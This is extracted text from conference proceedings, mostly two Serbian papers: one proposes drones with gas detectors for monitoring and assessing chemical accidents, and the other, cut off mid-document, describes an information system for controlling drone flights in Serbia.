The results show a significant advantage of the ANN model, as well as lower variance in predictions. The ROC curve shows that the accuracy is a factor of the threshold used, with a slightly more conservative predictor preferred over an accurate class ratio split.

By comparing results visualized on Figures 4a and 4b, one can note that the spatial context is an important factor in accuracy.

Future work includes fuzzy line slope detection and correction as well as implementation of a service line (which is usually perpendicular to operations lines) detection algorithm.

Bearing in mind that machine learning techniques underlay the approach proposed in this paper, acquisition of additional data would be desirable as to investigate if and how other factors (for example terrain configuration and alike) influence the final results.

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SOFTWARE AND INFORMATION ENGINEERING

UPOTREBA BESPILOTNIH VAZDUHOPLOVA U PRAĆENJU I PROCENI HEMIJSKIH AKCIDENATA

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Rezime:

Trend rasta prisutnosti bespilotnih vazduhoplova, kao elementa sistema zaštite životne sredine, usko prati razvoj više aspekata njihove operativne eksploatacije. Pre svega, razvoj se usmerava prema unapređenju njihovih taktičkih karakteristika: izdržljivosti u letu, operativnih sposobnosti, koje sve češće podrazumevaju i sposobnost detekcije opasnih materija u žarištu udesa, ali i niza drugih aspekata njihove integracije u sistem zaštite životne sredine.

Sistem za praćenje i procenu hemijskih udesa sastoji se od bespilotnog vazduhoplova opremljenim detektorom opasnih materija i softverske aplikacije za praćenje i prognozu hemijske situacije pri udesima sa opasnim materijama. Namenjen je, kako vojnim, tako i civilnim organizacijama, s ciljem unapređenja sposobnosti kroz primenu adekvatnih metoda za upravljanje rizikom.

Primenom navedenog sistema u akcidentnim situacijama smanjujemo vreme: procene efekata hemijskog udesa i reakcije na udes uz znatno umanjenje posledica po ljude i životnu sredinu.

Ključne reči:

bespilotni vazduhoplov, hemijski udes, praćenje i prognoza hemijske situacije.

1. UVOD

Obrada podataka o akcidentnim situacijama primenom informacionokomunikacione tehnologije svodi se na prikaz kvantitativnih pokazatelja, a u fokus se stavljaju detektovane vrednosti "opasnih" materija, bez jasnih kvalitativnih pokazatelja i preporuka za primenu adekvatnih metoda za umanjenje posledica po ljude i životnu sredinu.

Upotrebom bespilotnih vazduhoplova kao elementa u sistemu za praćenje i procenu hemijskih udesa unapredićemo sposobnosti kroz primenu adekvatnih metoda za upravljanje rizikom.

Otklanjanje posledica i sanacija štete od hemijskog akcidenata veoma su teški i zahtevaju dugotrajan proces, dok sprečavanje nastanka akcidenta zahteva kompleksne mere prevencije, razrađen informacioni sistem i adekvatne mere smanjenja negativnih posledica [1, 2].

Zakonska regulativa u Republici Srbiji (Zakon o zaštiti životne sredine, Sl. glasnik RS br. 135/2004 i Pravilnik o metodologiji za procenu opasnosti od hemijskog udesa i od zagađenja životne sredine, merama pripreme i merama za otklanjanje posledica, Sl. glasnik RS br. 60/94) definiše faze

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e-mail: dalibor.kutnjak@vs.rs postupanja kod akcidentnih situacija prema sledećem: prva faza – vreme pre nastanka udesa, kada je potrebno preduzeti sve preventivne mere da bi se sprečio udes; druga faza – vreme trajanja udesa, odnosno vreme kada je potrebno obezbediti spasavanje života i preduzeti mere zaštite najugroženijih; treća faza – vreme nakon udesa, kada se pruža prva medicinska pomoć u okviru zdravstvene službe i obezbeđuje opstanak u nepovoljnim uslovima, i četvrta faza – vreme posle udesa, kada se preduzimaju mere sanacije i otklanjanja posledica udesa.

Korišćenjem matematičkog modela koji je ugrađen u Privremeno uputstvo za procenu i prognozu hemijske situacije pri udesima s opasnim materijama, Generalštab VSCG 2004. godine, a koji čini sastavni deo softverskog paketa "HesPro" [3] za brzu procenu situacije kod hemijskih akcidenata, i uz pomoć podataka koje eksploatišemo iz geografskog informacionog sistema, obezbeđuju se uslovi za efikasnu upotrebu raspoloživih resursa.

Efikasnost u postupku prikupljanja, korišćenja, analizi neophodnih podataka i predviđanju događaja izazvanih akcidentnom situacijom uz istovremeno smanjenje rizika po ljudstvo i materijalna sredstva može se postići upotrebom bespilotnih vazduhoplova kao elementa u sistemu za praćenje i procenu hemijskih udesa.

U ovom radu opisana je potencijalna upotreba bespilotnih vazduhoplova u svrhu praćenja i procene hemijskih udesa.

U cilju sagledavanja funkcionalnosti sistema za praćenje i procenu hemijskih udesa, autor ovog rada definisao je hipoteze prema sledećem:

Osnovna hipoteza:

Ho – Upotreba sistema za praćenje i procenu hemijskih udesa utiče pozitivno na efikasnost postupaka pri akcidentnim situacijama uz optimizaciju resursa i umanjenje rizika.

Posebne hipoteze:

H1 – Upotreba sistema za praćenje i procenu hemijskih udesa utiče negativno na efikasnost postupaka pri akcidentnim situacijama.

H2 – Upotreba bespilotnih vazduhoplova u sistemu za praćenje i procenu hemijskih udesa umanjuje rizik za ljudstvo i materijalna sredstva.

H3 – Organizacija rada u sistemu za praćenje i procenu hemijskih udesa umanjuje greške prouzrokovane ljudskim faktorom.

2. KARAKTERISTIKE HEMIJSKIH AKCIDENATA

Hemijski akcident jeste nekontrolisan događaj nastao prilikom procesa proizvodnje, transporta ili skladištenja opasnih materija u kojem je oslobođena određena količina hemijski opasnih materija u vazduh, vodu ili zemljište i to na različitom teritorijalnom nivou, što za posledicu može imati ugrožavanje života i zdravlja ljudi, materijalnih dobara i životne sredine [5].

Prema usvojenoj Direktivi Evropske zajednice, akcident predstavlja pojavu velike emisije, požara ili eksplozije nastalu kao rezultat neplanskih događaja u okviru neke industrijske aktivnosti koja ugrožava ljude i životnu sredinu, odmah ili nakon određenog vremena, u okviru ili van granica preduzeća, i to uključujući jednu ili više opasnih hemikalija.

Polazeći od navedenih pojmovnih određenja, a u cilju modeliranja akcidenata, potrebno je dobro poznavati njegove karakteristike prema sledećem: specifične – mogućnost nastanka, preventivne mere, obim mogućih posledica i način sanacije, nespecifične – nepredvidljivost u odnosu na vreme i vrstu, kao i mesto nastanka kada je reč o transportu.

Hemijski akcident zahteva trenutno reagovanje prema ranije utvrđenim organizacionim merama i planovima. Usled nedovoljno potrebnih informacija i opreme za brzo reagovanje na proceni vrste i stepena opasnosti, povećava se prostorna ugroženost, obim posledica po ljude i životnu sredinu, kao i deminzija štete [4].

3. PROCENA UTICAJA HEMIJSKIH AKCIDENATA

Odgovor na akcident počinje onog trenutka kada se uoči prva manifestacija čije su posledice opasne po život i zdravlje ljudi, materijalna sredstva i životnu sredinu.

Postojeći softverski paket "HesPro" omogućuje generisanje podataka zauzimajući poznate elemente iz: evidencije o vrstama i količinama opasnih materija u proizvodnji, upotrebi, prometu, skladištenju i odlaganju, vreme udesa, meteorološke elemente koje dobijamo od hidrometeorološkog zavoda i tačno mesto određeno pomoću geografskog informacionog sistema [4].

Na osnovu evidencije o vrstama i količinama opasnih materija u proizvodnji, upotrebi, prometu, skladištenju i odlaganju, unose se početni elementi kako je prikazano na Slici 1.



Slika 1. Prikaz okruženja za unos početnih elementa u softverskom paketu "HesPro"

Na osnovu unetih podataka o vrsti i količini opasne materije i unetih meteoroloških podataka, dobijamo rezultate procene koji se odnose na posmatranu tačku. Prikaz okruženja za unos meteoroloških podataka dat je na Slici 2.



Slika 2. Prikaz okruženja za unos meteoroloških podataka u softverskom paketu "HesPro"

Aktiviranjem opcija u u softverskom paketu "HesPro" za grafički i sumarni prikaz možemo dobiti prikaz zona primarnog i sekundarnog oblaka opasne materije. Grafički prikaz teritorije zahvaćene oblakom opasne materije dat je na Slici 3.

Konfiguracija navedenog softverskog paketa podrazumeva manuelno unošenje podataka koji su neophodni za dalju analizu, što smanjuje vreme reakcije i podložno je greškama izazvanim ljudskim faktorom.





4. METOD PRIKUPLJANJA PODATAKA UPOTREBOM BESPILOTNOG VAZDUHOPLOVA

Jedan od načina za poboljšanje rada i povećanje brzine prikupljanja podataka u akcidentnim situacijama jeste angažovanje bespilotnih vazduhoplova kao dela opreme za brzo reagovanje na prikupljanju podataka od značaja, za pravilno donošenje odluke za upotrebu resursa.

Besposadni vazduhoplovi definišu se kao vazduhoplovne platforme bez ljudske posade, a vazduhoplovom upravlja pilot ili operator sistema besposadnih vazduhoplova sa zemlje posredstvom radio-veze ili računar koji se nalazi u samom vazduhoplovu [6].

Besposadni vazduhoplov nije moguće posmatrati kao poseban sistem, već on čini podsistem sistema za upravljanje besposadnim vazduhoplovima. Definicija koja daje širu sliku pojma besposadnih vazduhoplova data je u publikaciji NATO R&T organizacije [7] i glasi:

"Besposadni vazduhoplovi su motorne letelice bez ljudske posade, koje mogu biti upravljane na daljinu, poluautonomne i autonomne, ili mogu predstavljati kombinaciju navedenog i mogu nositi različite vrste tereta, što ih čini sposobnim za realizaciju zadataka u okviru dodeljenih misija unutar Zemljine atmosfere, u trajanju koje je u korelaciji s vrstom zadatka u okviru dodeljene misije."

Kako bi pojam besposadnih vazduhoplova bio potpuno jasan, potrebno je definisati elemente tehničkotehnološkog sistema u kojem oni čine samo jedan deo. Upotreba besposadnih vazduhoplova nije moguća bez:

- zemaljske kontrolne stanice za navođenje u kojoj se nalazi operator, uključujući i radno okruženje za operatora, samu stanicu i ostale podsisteme;
- vazduhoplovne platforme, sa teretom i bez tereta u funkciji njene misije;

- komunikacijskog sistema kojim pilot ili operater sistema besposadnih vazduhoplova distribuira naredbe prema vazduhoplovu i pomoću kojeg zemaljska kontrolna stanica prima povratni signal s podacima koje generiše oprema vazduhoplova i
- potrebne opreme čija je namena održavanje ili transport opreme.

Funkcionalna blok-šema sistema bespilotnih vazduhoplova data je na Slici 4.





Softverska arhitektura letnog računara

Sama arhitektura programa rada letnog računara u osnovi se sastoji od petlje u kojoj se prvo obrađuju pristigle poruke (formatirane posebnim protokolom) sa zemaljske stanice (ZS) i šalju potvrde prijema nazad na zemaljsku stanicu. Poruke u opštem slučaju sadrže komande letelici u smislu promene stanja sistema ili su vezane za rad autopilota: promena moda rada autopilota, zadavanje moda brzine leta (predviđene su tri brzine: sporo krstarenje, brzo krstarenje i maksimalna brzina), promena zahtevane visine leta ili uređivanje niza putnih tačaka.

Bezbedan let bespilotnog vazduhoplova omogućen je korišćenjem podataka s letnih senzora prema sledećem:

Inercijalni senzor – daje ugaone brzine i translatorna ubrzanja. Ploča elektronike letnog računara predviđena je za ugradnju različitih inercijalnih senzora (zbog brzog razvoja sve tačnijih senzora manjih gabarita, cene i lakše dostupnosti).

GPS prijemnik – daje GPS poziciju, visinu, brzinu i kurs kretanja. Predviđen je uređaj koji radi na 1 Hz, a u kraćim intervalima pozicija se određuje inercijalnom navigacijom (koja je ionako već predviđena za slučaj da nema prijema GPS signala iz raličitih razloga). Pito elektronika – daje statički i dinamički pritisak, kao i temperaturu okolnog vazduha, na osnovu kojeg se izračunavaju pito brzina i visina leta.

Strujni senzor – daje trenutni napon baterije, kao i trenutnu jačinu struje na osnovu koje se izračunava ukupna potrošnja električne energije.

Komunikacioni sistem

Komunikacioni sistem je razdvojen na protok podataka i video-slike ka zemaljskoj stanici (*downlink*) i na primopredajni sistem (*uplink*) za komandovanje letelicom.

Prvi radi na 2,4 GHz pomoću multipleksiranog kodiranog ortogonalnog razdvajanja frekvencija (COFDM – Coded Orthogonal Frequence Divison Multiplexed) s kašnjenjem video-slike do 44 ms i prenosom podataka brzinom od 115 kbaud. Emitovani signal dodatno je kriptovan 128-bitnim sistemom AES (Advanced Encryption System).

U sebi poseduje i odgovarajuće filtere koji "odsecaju" krajeve frekventnog spektra, kako ne bi imali uticaja na GPS prijemnik. Snaga emisije kontroliše se posebnim prekidačem, kako bi na zemlji (tokom pripreme misije) i u neposrednoj blizini zemaljske stanice (do jednog kilometra) predaja radila sa 250 mW (radi štednje potrošnje baterije), a uključivanjem dodatnog pojačala snage veće od 1 W omogućio bi se link na krajnjem zahtevanom dometu.

Drugi smer linka (*uplink*) za kontrolu letelice je s frekventnim hopingom i brzinom prenosa 115 kbaud. Primopredajne antene na letelici svesmerne su, a na zemaljskoj stanici predviđena je omnidirekciona antena za bliska rastojanja i usmerena antena velikog pojačanja koja omogućava i određivanje azimuta ka letelici (pozicioniranje) u slučaju odsustva GPS signala.

Zemaljska stanica

Zemaljska stanica je mobilna i prilagođena je za rad jednog operatera s potpunim funkcijama vežbovnog simulatora, pripreme misije, vođenje misije i naknadnu analizu misije. Posebna pažnja posvećena je automatizaciji i pojednostavljenju procedura (vezanih za rad s hardverom i softverskim funkcijama) pripreme, kako bi se smanjio rizik od greške operatera i ubrzala procedura pripreme misije. Samo vođenje svedeno je na minimum komandi kako bi se letelica dovela u željenu tačku, a najveći deo pažnje operatera usmeren je na samu svrhu misije: upravljanje elektrooptičkim senzorom i njegov monitoring. Zemaljska stanica sastoji se od tri funkcionalne celine: komunikacionog sistem s antenama s usmeravanjem, primopredajnicima i konvertorima signala, računarskog bloka s potrebnim senzorima i bloka za neposredno komandovanje, vizuelizaciju i monitoring misije. Upravljački sistem s monitoringom i vizuelizacijom sastoji se od konzole s ergonomski raspoređenim neophodnim prekidačima, tasterima i upravljačkom palicom elektrooptičke platforme, kao i na konzoli integrisanog rigidizovanog laptop računara za vizuelizaciju, monitoring, zadavanje komandi. Video-signal s letelice i prijemnika na zemlji preko razvodnika (*splitter*) distribuira se na laptop i na eksterni video-snimač (*DV recorder*).

Senzor

Uzimajući u obzir specifičnu namenu bespilotnog vazduhoplova u sistemu za praćenje i procenu hemijskih udesa, pored navedenih komponenti čija je osnovna funkcija obezbeđenje stabilnosti u letu, isti je potrebno opremiti i senzorima za detekciju prisustva zapaljivih ili toksičnih masa. Jedno od rešenja može biti i opremanje bespilotnog vazduhoplova "SMART 3 CC" gas detektorima, prevashodno zbog karakteristika i dimenzija. Prikaz izgleda "SMART 3 CC" detektora dat je na Slici 5.





SMART 3 CC gas detektori koriste se za detekciju prisustva zapaljivih ili toksičnih masa, ili za kiseonik, njegovo bogaćenje ili osiromašenje. Industrijski senzor (*Pellistor*) upotrebljen za detekciju zapaljivih gasova pokazuje odličnu linearnost i do 100% LEL, superiornu moć ponavljanja, kao i trajanje. Za detekciju otrovnih gasova Sensitron je izveo pouzdanu selekciju u izradi elektrohemijskih elemenata radi snabdevanja stabilnim i virtualnim jedinicama bez održavanja.

Detektori su dizajnirani da uvek obezbede 4–20 mA izlaznog signala. Prema opcionalnoj elektronskoj kartici

ST.S/IDI SMART 3 CC može komunicirati na serijskoj bus liniji RS 485 sa svim Sensitron IDI kontrolnim panelima. Druge opcionalne kartice dizajnirane su da obezbede detektor s otvorenim kolektorima ili relejnim izlazima preko kojih bi komunicirali s bilo kojim konvencionalnim kontrolnim panelom.

Tehničke karakteristike:

- element za učitavanje: NEMOTO PELLISTOR senzori i elektrohemijske mase;
- kontrolna jedinica: mikroprocesor 10 bit;
- vizuelna indikacija: LED;
- rezolucija (mikroprocesor): 1024;
- radna temperatura: od -10 do +55 °C;
- napajanje:12–24 Vdc;
- težina: 700 gr;
- dimenzije: L=105, H=200, D=110 mm;
- relativna vlažnost: 20–90% Rh /40 °C.

5. FUNKCIONALNI MODEL PROCESA U SISTEMU ZA PRAĆENJE I PROCENU HEMIJSKIH UDESA

Funkcionalni model procesa u sistemu za praćenje i procenu hemijskih udesa sastoji se od sledećih uzajamno povezanih i zavisnih faza prema sledećem: inicijalizacija, prijem podataka sa zemaljske stanice i slanje potvrde, akvizicija s inercijalnog senzora, akvizicija pozicije s GPS prijemnika, akvizicija podataka s pito senzora, akvizicija podataka sa senzora za detekciju prisustva zapaljivih ili toksičnih masa, inercijalna navigacija, izračunavanje željenog kursa, visine i brzine, stabilizacija i vođenje limiterom graničnih vrednosti, slanje signala, slanje parametara leta na zemaljsku stanicu, slanje parametara izmerenih vrednosti prisustva zapaljivih ili toksičnih masa, upis parametara leta na memorijsku karticu i upis detektovanih vrednosti zapaljivih ili toksičnih masa.

Inicijalizacija – podrazumeva pokretanje bespilotnog vazduhoplova, odnosno letnog računara sa zemaljske stanice i slanje potvrde prijema nazad na zemaljsku stanicu o spremnosti sistema za realizaciju misije.

Prijem podataka sa zemaljske stanice i slanje potvrde – poruke u opštem slučaju sadrže komande letelici u smislu promene stanja sistema ili su vezane za rad autopilota: promena moda rada autopilota, zadavanje moda brzine leta, promena zahtevane visine leta ili uređivanje niza putnih tačaka i zadavanje moda za aktivaciju detektora prisustva zapaljivih ili toksičnih masa.

Akvizicija s inercijalnog senzora – osnovna funkcija jeste davanje ugaone brzine i translatornih ubrzanja. Ploča



elektronike letnog računara predviđena je za ugradnju različitih inercijalnih senzora (zbog brzog razvoja sve tačnijih senzora manjih gabarita i cene i lakše dostupnosti).

Akvizicija pozicije s GPS prijemnika – daje GPS poziciju, visinu, brzinu i kurs kretanja. Predviđen je uređaj koji radi na 1 Hz, a u kraćim intervalima pozicija se određuje inercijalnom navigacijom (koja je ionako već predviđena za slučaj da nema prijema GPS signala iz raličitih razloga).

Akvizicija podataka s pito senzora – daje statički i dinamički pritisak, kao i temperaturu okolnog vazduha na osnovu kojeg se izračunavaju pito brzina i visina leta.

Akvizicija podataka sa senzora za detekciju prisustva zapaljivih ili toksičnih masa – daje podatke o prisustvu zapaljivih ili toksičnih masa.

Inercijalna navigacija – zadužena je za obezbeđenje neophodnih podataka o položaju letelice u prostoru, njenoj visini i brzini.

6. DISKUSIJA

Obradom i analizom podataka razrađena je mogućnost primene adekvatnih metoda u upotrebi bespilotnih vazduhoplova kao elementa u sistemu za praćenje i procenu hemijskih udesa, pouzdanost, kvalitet i objektivnost dobijenih podataka za dalje upravljanje rizikom, krizom.

Daljim razvojem navedenog sistema u akcidentnim situacijama skratilo bi se vreme procene efekata hemijskog udesa i vreme reakcije na udes, uz znatno umanjenje posledica po ljude i životnu sredinu, a samim tim bi se detaljnije definisale mere koje je potrebno preduzeti radi otklanjanja nastalih posledica.

7. ZAKLJUČAK

Cilj ovog rada usmeren je na upotrebu bespilotnih vazduhoplova u sistemu za praćenje i procenu hemijskih udesa, koja bi pozitivno uticala na efikasnost prikupljanja podataka pri akcidentnim situacijama, uz optimizaciju resursa i umanjenje rizika po život i zdravlje ljudi, materijalna sredstva i životnu sredinu.

Upotrebom ovog sistema prevazišli bi se problemi upotrebe postojećeg softverskog paketa "HesPro" jer bi se izbegla subjektivnost u merenju, unošenju i obradi neophodnih podataka za njegov rad, i bitno bi se skratilo vreme procene i prognoze posledica hemijskog udesa.

Dobijanjem objektivnih, pouzdanih podataka upotrebom bespilotnih vazduhoplova u realnom vremenu sa terena, žarišta hemijskog udesa, stiču se uslovi za neophodnu pripremu i preduzimanje mera sanacije i otklanjanja posledica udesa.

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INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

SOFTWARE AND INFORMATION ENGINEERING

INFORMACIONI SISTEM ZA KONTROLU LETENJA BESPILOTNIH VAZDUHOPLOVA

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Rezime:

S obzirom na to da je ekspanzija upotrebe bespilotnih vazduhoplova obeležje savremenog, aktuelnog doba, iskustva o svim aspektima njihovog angažovanja i ukupnom uticaju istih na bezbednost vazdušnog saobraćaja još se prikupljaju i sistematizuju. Iz ugla teme ovog rada naročito je interesantna pojava specifičnog ponašanja operatera bespilotnih vazduhoplova, koje se ogleda u potpunom ili delimičnom gubitku veze svesti sa realnošću, slično strastvenim konzumentima računarskih igara.

Tema ovog rada jeste prikaz integrisanog informacionog sistema za praćenje i kontrolu letenja bespilotnih vazduhoplova.

Cilj uspostavljanja navedenog sistema jeste povećanje bezbednosti vazdušnog saobraćaja i sprečavanje zloupotrebe vazdušnog prostora.

Prijava, najava, identifikacija i praćenje letenja bespilotnih vazduhoplova predstavlja problem na čijem se rešavanju intezivno radi, kako u Evropskoj uniji, tako i na svetskom nivou.

Ovaj rad predstavlja skromni doprinos u rešavanju problema vezanih za uspostavljanje bezbednog sistema kontrole letenja bespilotnih vazduhoplova.

Ključne reči:

informacioni sistem, kontrola letenja, bespilotni vazduhoplov, identifikacija.

1. UVOD

U okviru sistema za upravljanje bespilotnim vazduhoplovima u Republici Srbiji, Direktorat civilnog vazduhoplovstva Republike Srbije (u daljem tekstu DCV) vrši upis bespilotnih vazduhoplova u Evidenciju vazduhoplova, a na zahtev vlasnika ili operatera bespilotnog vazduhoplova. DCV formira i vodi ažurnu evidenciju upisanih bespilotnih vazduhoplova, izdaje odobrenje za upravljanje bespilotnim vazduhoplovima, i vodi evidenciju o zdravstvenoj osposobljenosti podnosioca zahteva, odnosno operatera sistema bespilotnog vazduhoplova. Sve relavantne podatke vezane za podnosioca zahteva za letenje bespilotnim vazduhoplovom prosleđuje na dalje nadležno postupanje jedinici Vojske Srbije za civilno-vojnu koordinaciju.

Nakon dobijanja zahteva za alokaciju vazdušnog prostora od strane operatera sistema bespilotnog vazduhoplova, jedinica Vojske Srbije za civilno-vojnu koordinaciju prosleđuje upit prema nadležnim državnim

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e-mail: vasiljevicdj68@gmail.com organima Republike Srbije za mogućnost odobrenja letenja bespilotnih vazduhoplova u traženom prostoru.

Osnovni zadatak Kontrole letenja Srbije i Crne Gore SMATSA doo Beograd u sistemu upravljanja bespilotnim vazduhoplovima u Republici Srbiji jeste koordinacija sa jedinicom Vojske Srbije za civilno-vojnu koordinaciju u cilju usklađivanja i odobrenja alokacije određenog dela vazdušnog prostora, odnosno dela vazdušnog prostora za koji je operater sistema bepilotnog vazduhoplova tražio alokaciju.

Prepoznajući narastajući značaj upotrebe bespilotnih vazduhoplova, nadležne civilne institucije usvojile su niz propisa kojima se ova oblast reguliše u normativnom smislu. Tako se poslednjim izmenama i dopunama Zakona o vazdušnom saobraćaju (kraj 2015. godine) u Republici Srbiji definiše pojam bespilotni vazduhoplov i daju smernice nadležnim organima za kontrolu njihove upotrebe. Takođe, 01.01.2016. godine stupio je na snagu i Pravilnik o bespilotnim vazduhoplovima, koji detaljno reguliše prostorne i vremenske uslove i ljudske i tehničke kapacitete neophodne za upotrebu ove vrste vazduhoplova. Ovim Pravilnikom precizirana je i kontrola letenja bespilotnih vazduhoplova na pretaktičkom nivou koja obuhvata podnošenje zahteva za upotrebu nadležnoj civilnoj instituciji, i postupanje date institucije po dobijenom zahtevu.

Većina zemalja sveta ne poseduje radarsko-računarska ili druga sredstva koja su u mogućnosti da otkriju, prate i dejstvuju po ciljevima tako male efektivne radarske površine. Dalje, nisu jasno propisane procedure po kojima treba da se vrši kontrola letenja bespilotnih vazduhoplova, a koje treba da obuhvataju postupak prijave početka i kraja upotrebe istih od strane korisnika, kao i postupak odobravanja, neodobravanja ili prinudnog prekidanja upotrebe u slučaju nepredviđenih situacija.

U radu je predstavljen koncept sistema za upravljanje bespilotnim vazduhoplovima, opisane su komponente, operativne mogućnosti i način određivanja efikasnosti ovih sistema, kao i mogućnost integracije kontrole letenja bespilotnih vazduhoplova u jedinstven sistem kontrole i zaštite vazdušnog prostora Republike Srbije.

2. SISTEM UPRAVLJANJA BEZBEDNOŠĆU VAZDUŠNOG SAOBRAĆAJA

Bezbednost u vazdušnom saobraćaju je stanje u kome su rizik od ugrožavanja života i zdravlja ljudi i prouzrokovanja štete imovini smanjeni i održavani na prihvatljivom nivou, stalnim uočavanjem opasnosti i kontrolom rizika od uočenih opasnosti. Pružaoci usluga u vazdušnoj plovidbi, avio-prevoznici, operateri aerodroma, vazduhoplovno-tehničke organizacije koje se bave održavanjem vazduhoplova i drugi subjekti koje odredi Direktorat primarno, odgovorni su za bezbedno obavljanje svojih delatnosti ili pružanje usluga, a za bezbedno obavljanje poslova u okviru vazduhoplovnog subjekta odgovorni su i svi pojedinci koji u obavljanju svojih poslova utiču na bezbednost.

Radi usklađivanja delovanja organa, organizacija i vazduhoplovnih subjekata koji su odgovorni za bezbednost u vazduhoplovstvu i davanja preporuka kako da se ona poboljša, Vlada obrazuje Nacionalni komitet za bezbednost u vazduhoplovstvu, kao povremeno radno telo Vlade. Komitet koordinira aktivnosti na pripremi i izradi predloga Nacionalnog programa bezbednosti u vazduhoplovstvu, koga donosi Vlada.

Sistem upravljanja bezbednošću vazdušnog saobraćaja obuhvata organizaciju, procedure i sistem odgovornosti kojima se uspostavlja i održava prihvatljiv nivo bezbednosti u radu vazduhoplovnog subjekta, a funkcioniše kroz izvršavanje sledećih zadataka:

- upravljanje vazdušnim prostorom (ASM Airspace Management);
- operativne usluge u vazdušnom saobraćaju (ATS – Air Traffic Services) i
- upravljanje protokom vazdušnog saobraćaja (ATFM Air Traffic Flow Management).

Upravljanje vazdušnim prostorom obuhvata dinamičnu raspodelu vremena korišćenja raspoloživog vazdušnog prostora između različitih kategorija korisnika vazdušnog prostora, zasnovanih na kratkoročnim potrebama.

Upravljanje vazdušnim prostorom obuhvata: fleksibilno korišćenje vazdušnog prostora, organizaciju vazdušnog prostora, razvoj i oblikovanje struktura vazdušnog prostora i druge funkcije koje su vezane za upravljanje vazdušnim prostorom.

3. POJAM, KLASIFIKACIJA I OSNOVNE KARAKTERISTIKE BESPILOTNIH VAZDUHOPLOVA

Terminologija koja se danas koristi za vazduhoplove bez ljudske posade još uvek nije jasno i/ili univerzalno definisana.

Naziv koji se tokom razvoja ovih uređaja najčešće koristio, posebno u stranim stručnim publikacijama zapadnog porekla, bio je Unmanned Aerial Vehicle (UAV), što bi u neposrednom prevodu značilo – vazduhoplovno vozilo bez posade. Struktura ovoga termina nije slučajna jer su vazduhoplovi bez ljudske posade u početku razvoja bili tek deo šireg tehnološkog koncepta besposadnih vozila, među kojima su se istovremeno razvijala i zemaljska i podvodna vozila [1].

Jedan od termina koji se često sreće u stručnoj literaturi je i Remotely Piloted Aircraft (RPA), što bi u neposrednom prevodu značilo – daljinski upravljana/ pilotirana letelica. Uz ovaj termin koristi se i pojam Remotely Piloted Aircraft System (RPAS). Ovde nije reč o alternativnom terminu, već se radi o pokušaju distinkcije između bespilotnih vazduhoplova kod kojih pilot ili operater sistema bespilotnog vazduhoplova u svakom trenutku ima upravljačku kontrolu nad vazduhoplovom, i drugih bespilotnih sistema kod kojih se vazduhoplov u određenim ili svim segmentima leta ponaša potpuno autonomno [2].

U stručnoj literaturi istočnog porekla u upotrebi se nalaze termini Беспилотный летательный апарат (БЛА) – konkretno za sami bespilotni vazduhoplov – i Беспилотные авиационные система (БАС) – za sistem u koji su pored vazduhoplova uključeni i uređaji za upravljanje i pomoćni uređaji [3].

U Republici Srbiji se za ovu vrstu uređaja najčešće koristi izraz bespilotna letelica (BL).

Ovakav naziv nije optimalno terminološko rešenje iz više razloga. Pre svega, takvim letelicama upravlja pilot koji se ne nalazi na samoj platformi, već na zemlji. Samim tim, interakcija između pilota i letelice u smislu davanja ulaznih vrednosti za aerodinamičke upravljačke površine i izlaznu snagu motora i potisak - postoji, te se ne može govoriti o nepostojanju pilota u upravljačkoj petlji. S druge strane, termin letelica je više kolokvijalan nego stručan pojam, koji je nastao najverovatnije kao pokušaj diferencijacije platformi bez ljudske posade od konvencionalnih platformi s posadom ili - vazduhoplova. Termin vazduhoplov nije određen postojanjem posade na samoj platformi, te predstavlja širok okvir u odnosu na način ostvarivanja uzgona i pogonsku grupu platforme, što istovremeno u potpunosti odgovara i tehničko-tehnološkoj prirodi vazduhoplova bez ljudske posade.

Imajući u vidu gorenavedeno, najprihvatljivija varijanta za uređaje ove vrste predstavlja termin bespilotni vazduhoplov.

Ovde svakako treba pomenuti i pojam "dron" koji se odomaćio u publicistici i medijima, i kao takav zaokuplja pažnju široke javnosti. Sam pojam se na naš jezik može prevesti kao "trut" (pčela, obad), dok se može naći i prevod "zujalica". Iako se reč dron u zapadnoj terminologiji upotrebljava za naoružane bespilotne vazduhoplove, u poslednje vreme ovaj pojam vezuje se za mnogo širi krug uređaja ove vrste. Ne postoji tačna i potpuna definicija pojma bespilotni vazduhoplov. Ovaj problem potiče od raznovrsnosti i mnogobrojnih načina izvedbi letećih objekata koji mogu da se svrstaju u ovu grupu uređaja. Takođe, ovaj problem sa sobom povlači i veliki broj određujućih osnovnih karakteristika bespilotnih vazduhoplova, što otežava njihovo precizno definisanje, ali i klasifikaciju. Osnovne karakteristike bespilotnih vazduhoplova, koje ujedno predstavljaju i kriterijume za njihovu klasifikaciju, mogu da budu: namena, značaj njihove upotrebe, nivo vazdušnog prostora u kome se koriste, autonomnost, princip rada pogonske grupe, tip i količina motora, aerodinamičnost, oblik i količina krila, uslovi baziranja, poletna masa, brzina, visina leta, taktički radijus dejstva itd. [4].

Osnovne komponente sistema bespilotnog vazduhoplova jesu: hardverski deo, softverski deo, sklop za elektronsku kontrolu i upravljanje, telemetrijski sklop i senzori [5]. Kategorije bespilotnih vazduhoplova u odnosu na tip, konstrukciju i pogonsku grupu prikazane su na Slici 1.

	Airframe types			pi g	Propulsion						
UAS categories	Rotary Wing	Fixed Wing	Others	Lighter- than-air	otionally loted	Piston - AvGas	Piston - Diesel	Turbopro P	Jet- Turbine	Electric/S olar	Others
Tactical											
Nano	•		∎D,E	L						•	
Micro	•	•	∎D,E			•				•	=M
Mini	•	•	∎D,K	•		•				•	
Close Range	•	-	D,F,K	•		•				•	
Short Range	•	•	∎G,K	•	•	•					•
Medium range	•	•	H,T		•	•	∎Y		•		
Medium Range Endurance	•	•			•	•	۱Y		•		
Low Altitude Deep Penetration		•				•			•		
Low Altitude Long Endurance		-				•					Hy
Medium Altitude Long Endurance	•	•				•	•	•	•		∎Hy
Strategic											
High Altitude Long Endurance		•		•	•	•			•	•	∎Hy
Special Purpose	1.000										
Unmanned Combat Aerial Vehicle	•	-							•		
Offensive		•				•					
Decoy	•	•				•			•		
Stratospheric		•		•							
Exo-stratospheric		-									
Space	TBD	TBD	TBD	TBD	TBD	TBD	TBD	TBD	TBD	TBD	TBD
D = Strouded Fan F = Gyroplane H = Rotor Wing M = Chemical Muscle TBD = To Be Decided H = Hydrogen E = Flapping Wing G = Tilt Rotor K = Motorised Parafoli G = Tilt Rotor Y = Desind T = Tilt Body						•					

Slika 1. Klasifikacija bespilotnih vazduhoplova u odnosu na tip, konstrukciju i pogonsku grupu

4. OPIS POSLOVA ELEMENATA SISTEMA ZA UPRAVLJANJE BESPILOTNIM VAZDUHOPLOVIMA U REPUBLICI SRBIJI

